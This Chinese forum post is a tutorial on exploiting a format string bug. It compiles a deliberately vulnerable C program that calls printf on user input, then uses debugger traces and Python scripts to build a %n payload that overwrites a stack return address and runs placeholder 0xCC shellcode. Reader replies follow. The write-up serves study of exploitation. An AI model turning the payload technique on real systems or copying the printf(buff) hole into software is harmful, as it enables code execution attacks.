首页
社区
课程
招聘
[原创]格式化字符串漏洞执行任意代码分析
2016-10-10 10:57 7575

[原创]格式化字符串漏洞执行任意代码分析

2016-10-10 10:57
7575
首先使用vc++6.0编译一个程序FormatStr.exe,源代码:
_#include <stdio.h>
#include <string.h>

int main (int argc, char *argv[])
{
    char buff[1024];  // 设置栈空间

        strncpy(buff,argv[1],sizeof(buff)-1);
        printf(buff); //触发漏洞

        return 0;
}


这里以参数test-%x-%x-%x-%n为例
核心汇编代码MOV DWORD PTR DS:[EAX],ECX,其中寄存器EAX,ECX都可以被用户控制,ECX指前边字符的个数,可以通过调试确定(具体有栈上的数据决定,是零的就排除),EAX指参数“test-%x-%x-%x-%n”的首地址,并且通过添加%x可以使EAX往后移四个地址,可以将任意数据写入任意地址,这样就可以将shellcode的首地址写入函数的返回地址,这样等函数返回时shellcode就可以执行了

%1000x 1000是个十进制数字,表示输出字符串的长度,可以通过这个控制字符串的长度

首先打印栈上的数据:输入“test-%x-%x-%x-%x-%x-%x”  输出:test-12ff04-380e4a-7f-34333231-2d78252d-252d7825 (即栈上的相关信息)

test-%x-%x-%x-%n 调试中断时 EAX=34333231 
test-%x-%x-%x-%x-%n 调试中断时 EAX=2d78252d
test-%x-%x-%x-%x-%x-%n 调试中断时 EAX=252d7825

设置immunity debugger为默认调试器

首先观察ECX值的变化,当输入test-%x-%x-%n时,ECX=0x13,即字符串“test-12ff04-380e4a-”的长度19,当输入test-%x-%x-%x-%n时,ECX=0x16,即字符串“test-12ff04-380e4a-7f-”的长度22,当输入test-%x-%x-%x-%x-%n时,ECX=0x1F,即字符串“test-12ff04-380e4a-7f-34333231-”的长度31,所以ECX即前边字符串的长度,但是这个长度是根据栈中具体数值来确定的,所以只能通过调试来确定。

观察EAX的值,当输入test-%x-%x-%n时,EAX=0x7f,即栈中的数值0x7f,当输入test-%x-%x-%x-%n时,EAX=0x74726574,即栈中的0x74726574,当输入test-%x-%x-%x-%x-%n时,EAX=0x2d78252d,即栈中的0x2d78252d,当输入test-%x-%x-%x-%x-%x-%n时,EAX=0x252d7825,即栈中的0x252d7825,可以发现这样的规律,随着%x的增多,EAX的值是栈中以四字节为单位往高地址增长的栈中的数据。

通过以上的介绍,可以看到可以将ECX设置为shellcode的首地址,将EAX设置为函数返回地址所在的栈地址,这样当函数返回时,就会执行shellcode中的代码

首先查找shellcode的首地址,在命令行下运行:FormatStr.exe "test-%x-%x-%x-%n",程序异常自动附加到immunity debugger,



直接在栈中搜索就可以了,可以看到shellcode的起始地址是0x0012FF04,


然后查找函数返回地址所在的栈地址,组合键alt+k切换到栈回溯窗口,可以看到最近的函数返回地址所在的栈地址是:0x0012FED0:



经过上边介绍只要使EAX=0x0012FED0,ECX=0x0012FF04就可以使我们的shellcode得到执行的机会。
以参数“testAAAABBBB-%x-%x-%x-%n”为示例
首先使ECX=0x0012FF04,0x0012FF04=1244932,[1244932-(4+4+4+4)]/3=414972,
将参数修改为“testAAAABBBB-%414972x-%414972x-%414972x-%n”,输出ECX如下:



,正好得到ECX=0x0012FF04

下边使EAX=0x0012FED0,但是由于EAX中含有0x00,作为字符串的结束字符后边的字符会被截断掉,解决的办法就是增加%x的个数,使EAX往栈的高地址方向移动,直到移动到字符串的末尾,这样0x00就不会影响我们后续的操作了
当参数是“testAAAABBBB-%414972x-%414972x-%414972x-%n”时,EAX=0x74735674,即test的十六进制值,我们依次增加0x的个数,为了便于操作,我们可以用python书写一个简单脚本:
from subprocess import call
a="testAAAABBBBCC-"
b="%x"*3
c="%414972x-%414972x-%414972x-%nABCDE"
buf=a+b+c
call(["FormatStr.exe",buf])
a

可以看到EAX已经移位到字符串“CC-%”,我们继续增加%x的个数,直到移位到%n之后:
python脚本:
from subprocess import call
a="testAAAABBBBCC-"
b="%x"*23
c="%414972x-%414972x-%414972x-%nABCDE"
buf=a+b+c
call(["FormatStr.exe",buf])
此时EAX=0x00454443 即字符串“CDE”的十六进制




由于此时增加很多%x打乱了ECX的值,我们再调整一下:
from subprocess import call
a="testAAAABBBBCC-"
b="%x"*23
c="%414914x-%414913x-%414913x-%nABCDE"
buf=a+b+c
call(["FormatStr.exe",buf])
此时EAX=0x00454443,ECX=0x0012FF04:



此时只要将CDE替换为返回地址的所在的栈地址,将test-AAAABBBB....等替换为shellcode,为了演示,直接替换为0xCC(中断)吧:
from subprocess import call
a="\xCC\xCC\xCC\xCCAAAABBBBCC-"
b="%x"*23
c="%414914x-%414913x-%414913x-%nAB\xD0\xFE\x12"            
buf=a+b+c
call(["FormatStr.exe",buf])





shellcode成功得到执行。

阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!

最后于 2019-12-31 16:09 被kanxue编辑 ,原因:
上传的附件:
收藏
点赞1
打赏
分享
最新回复 (7)
雪    币: 15
活跃值: (512)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
jfztaq 2016-10-10 14:50
2
0
好东西,很详细,学习一下原理
雪    币: 32401
活跃值: (18875)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
kanxue 8 2016-10-10 16:25
3
0
http://bbs.pediy.com/showpost.php?postid=292659

帖图方法不对,按这个帖来。
雪    币: 206
活跃值: (85)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
baiyunbian 2016-10-11 16:37
5
0
有点收获,谢谢。。。
雪    币: 8
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
meteorsnow 2016-10-13 00:06
6
0
还能用哪种调试器?
雪    币: 15
活跃值: (512)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
jfztaq 2016-10-16 21:03
7
0
调试器怎么设置为immunity debugger
雪    币: 15
活跃值: (512)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
jfztaq 2016-10-17 11:15
8
0
想问下楼主,为什么我用python执行脚本的时候,这个地址 \x50\xFB\x12,会解析成00003F50,请问怎么解决
游客
登录 | 注册 方可回帖
返回